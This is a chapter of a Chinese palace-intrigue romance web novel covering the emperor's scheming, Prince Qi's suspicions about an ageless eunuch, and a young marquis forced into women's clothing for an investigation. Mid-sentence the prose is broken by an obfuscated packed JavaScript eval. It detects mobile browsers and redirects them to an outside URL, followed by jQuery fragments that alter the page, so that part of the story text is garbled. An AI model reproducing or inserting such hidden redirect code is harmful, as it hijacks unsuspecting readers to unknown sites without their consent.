四平入宫时已是深夜,皇帝正在练字,无需通传,他直接进了寝殿。
李德海见他来便退下了,并轻轻带上了门。
“奴婢见过皇上。”
皇帝并未停笔抬头,只淡淡地说道:“嗯,如何?”
“回皇上,这一路上郡主聊山聊水对从前事不记得分毫,连在身边待过的阿昭都忘了个精光。”
“阿昭?”皇帝疑惑地问道。
“奴婢不在时,给皇上奉过茶。”
皇帝“哦”了一声并未多问。
“皇上放心吧,往那锡山走了一遭郡主毫无反应,也没有要记起来的迹象,”他倏然一笑,“还有闲心和小侯爷调/情呐。”
皇帝面上无甚表情,“本就是她喜欢的人,不稀奇。”
四平抬眼道:“皇上可真要郡主嫁去裴家?太子殿下……”
皇帝打断他,“早就没了什么太子。”
“奴婢失言,启王殿下没了皇后娘娘的约束行事乖张本就对您不利,如今再将郡主嫁去裴家恐怕……”
皇帝写下最后一笔置了笔,四平上前将宣纸压住收拾好了桌案。
“都是些无伤大雅的小事,婚期定在两年后,两年后是什么情形谁又知道。”
他挪步至皇后画像前,“就像承瑾,二十年前什么世家贵女都不要,宁愿少一份助力也要娶那林家女,如今还不是同床异梦。”
皇帝忽而笑了,“连同床都没有,自林家女中毒之后两人关系就大不如从前,去了金陵后更是没有修复的可能。”
四平只在一旁沉默地听着。
皇帝抬手抚过那画像,声音极轻,像是在自言自语,“若你还在,定会为咱们的儿子伤神,早点走了也好,不必为这些事感伤。”
静了许久,他恍若才发觉殿内还有旁人在,“你先退下吧。”
四平无声息地应声而退。
褚岚心事重重地避开人进了启王府。
风烈见是她咧开嘴笑道:“大闺女,难得见你回来一趟。”
她勉强笑了笑,“叔,殿下在吗?”
“在呢,殿下和你爹都在后头喂鱼,我想抓一条来吃,被轰出来了。”
褚岚乐道:“怪不得您老是挨殿下骂,那鱼是郡主和世子前些天专门抓来给殿下解闷的,您想着给吃了。”
风烈挠挠头,“我说呢,几条破鱼宝贝成那样。”
说罢忙捂住了嘴,看萧承瑾不在附近才放下心来,“你有事就快进去吧。”
褚岚三两下就走到了水池旁,“殿下。”又看了眼亲爹,褚云冲她点点头。
“这一路上可是有什么不妥?”萧承瑾问道。
她脸色凝重道:“小公子可能……真的遭遇了不测,但那日‘凶手’的尸体没人看到,或许还有一线希望。”
萧承瑾看着两只抢食的锦鲤神色晦暗,褚岚犹豫着要不要继续说。
“是皇帝?”
她脱口而出,“您猜到了?”
“烟儿先前问过本王知不知道一个叫四平的小太监,本王当时并未在意,这个名字确未听过,但那张脸,”他敛眉,“本王有印象。”
褚岚一愣,“可那太监看起来年岁不大,恐怕比郡主大不了多少,您离开京城已有十年,他的容貌应该变化很大才对。”
“这就是问题所在,”他丢了手上全部的鱼饲料,转过身,“大概是在母后还没过世的时候,他也服侍在皇帝左右,那张脸,和现在别无二致。”
两人骇然。
褚云道:“几十年容貌不变?这世上怎会有这种事?”
“本王也十分疑惑,但近来总是梦到从前事,那会儿太后很疼本王,本王也爱去太后宫里头,太后常说要本王听皇帝的话,说他身体不好,可能陪不了本王和母后太久。”
“可你们也看到了,不知从什么时候开始,皇帝的身体愈发康健,如今年事虽已高但连风寒都极少染上。”
风烈躲在门口听,鸡皮疙瘩掉了一地,揉搓着胳膊道:“那太监会邪术?”
萧承瑾看了他一眼,“这世上没有什么邪术,应当是什么鲜为人知的医术。”
褚岚感叹道:“既能让自己保持年轻容貌,又能让人强身健体的医术,不知他的住处有没有记录的手稿,我去偷来给小铃兰。”
褚云拍了她一下,“学点好。”
褚岚顿时蔫了,“哦……”
他继续说道:“等人死了再拿来,当贼名声不好。”
褚岚由衷敬佩她爹的脑回路,“还是爹你想得周到。”
风烈道:“皇上那边暂时不好动作,属下先去找小公子。”
“找他做什么?”萧承瑾疑惑道。
褚云忙道:“纵使小公子不听话也是您亲生的,能找自然还是得先找到。”
萧承瑾“哦”了一声,“本王没说吗?这小子跑得还算快,吃了一枚还魂丹后跑回山里给救回来了,文茵这段时日一直在照顾他。”
三人这才松了口气。
褚岚道:“您为何不告诉娘娘郡主中毒了,娘娘两头都照顾到了郡主回头记起来心里也好受些。”
萧承瑾斜了她一眼,“告诉她本王当初承诺的一样没做到?找骂吗?”
褚岚挠挠头,好像是这么回事。
他绷直了唇角,“本王的好父皇,对亲孙儿下手后还上演了一出父子情深的戏码,也不知是该夸一句有心,还是压根就没心。”
——
“这是……?”裴子喻拿着女装一脸难以置信。
新上任的大理寺卿干笑两声,见下属没打算帮他开口只好自己解释道:“有点小麻烦,还要委屈一下小侯爷作女儿打扮。”
裴子喻一脸木然,“为何?”
“那死者的老母亲这里有些问题,”他指指自己的脑袋,“你呢,假装是她女儿好问话,不然这案子进展不下去啊!”
裴子喻一脸莫名其妙,“死的是儿子吧?为何要我扮成女儿?”
“她早先有个女儿,难产过世,从那之后精神就受了刺激不大认人,一直是儿子照顾他。村里不务正业者甚多,儿子生前一直交代要母亲离村子里的男人远些,她脑子一根筋,就除了儿子哪个男人都不愿意接触,所以……”
“所以就让我扮女装?”裴子喻冷笑,“大理寺瘦小的人比比皆是,我既不矮小也不瘦弱却偏要我去,欺负我是新来的是不是
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16003588|172644||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
?”
大理寺卿忙摆手,“哪敢呐!你看这些个歪瓜裂枣,虽说身材瘦小但穿起女装来不伦不类啊!”
裴子喻扫了一眼那帮“歪瓜裂枣”,有个人随手弹了鼻屎往身上一抹,他嫌弃地皱紧眉头离得远了些。
“可以是可以,不过……”
大理寺卿喜道:“你放心,绝不会让郡主知晓!”
是夜,裴子喻一行人方归。
“对不起啊司直,我……”一个捕快讪讪地道歉。
此行还算顺利,但也有意外发生。
道歉的捕快本好好的帮裴子喻拿着一套男装,等着待会儿问完话就换下衣服,一群路过的孩童将人给撞了一下,好巧不巧手上拿的衣服掉了,更巧的是掉到了马粪上。
捕快:“……”
裴子喻脾气不好人尽皆知,他也不可能让这群孩子承受这位的怒火,没说什么就将人放走了。
问完话回来准备换衣服的裴子喻傻了眼,捕快差点给他跪下了。
捕头忙道:“您别急,这就近有家布店,给您买来新的就好。”
他其实有些嫌弃这种乡村野店,但事已至此轮不到他挑剔,就跟着去了布店,没想到的是今日这家布店老板有事正好关门了。
裴子喻:“……”
捕快又要跪,被他一把捞起来。
他不死心道:“就这一家?”
捕快赔笑道:“这附近人不多,就一家布店,除了这家,最近的一家布店也得进城了。”
那个捕快道:“属下现在就快马加鞭去买一身衣服回来。”
进城再买衣服跟现在也没什么分别,现去买又太过麻烦,他看了看天色道:“算了,不必折腾,等天彻底黑了再回去吧。”这样万一碰到熟人他还能蒙住脸假装自己不是裴子喻。
众人陪他等天黑,那个捕快又提出一个新建议,“要不您先穿属下的衣服凑合着回去?”
裴子喻扫了他一眼,他识趣闭嘴,这祖宗有洁癖,穿他这等糙汉子的衣服还不如裸着回去。
裴子喻抱臂闲散地靠着柱子,看着逐渐黑沉的天色,心想幸好未婚妻很少在夜间出来晃荡。
回城后,今日路上少见的人烟稀少,捕快拍着胸口松了一口气,只要小侯爷不丢面他就不会丢谋生。
一道黑影从他们身旁迅速窜过去,后面跟着的老伯焦急喊道:“有贼啊!他偷我家的东西!”
几人毫不犹豫地去追那个贼人。
贼人见身后从一个跑不快的老伯变成几个身强力壮的官兵吓得慌不择路,拐了几道之后闯进了聚仙楼的后院。
裴子喻一脚将他踹到后院的水缸上,水缸碎裂,原先在后院的人发出一声惊呼。
他一愣僵硬地微微偏头,余光扫到发出惊呼人的身影之后又迅速回头,用袖口捂住脸就往外走。
紧跟而来的捕头见他朝外走也不管追到的贼人,疑惑喊道:“小侯……哦不,司直,您上哪儿去?”
裴子喻没回话,脚步不停,最后加快脚步飞快地跑了。
捕头挠挠头,准备去捉住那个被踹倒的贼人,冲在一旁好奇张望的姑娘笑了笑。
萧玉烟亦回以一笑。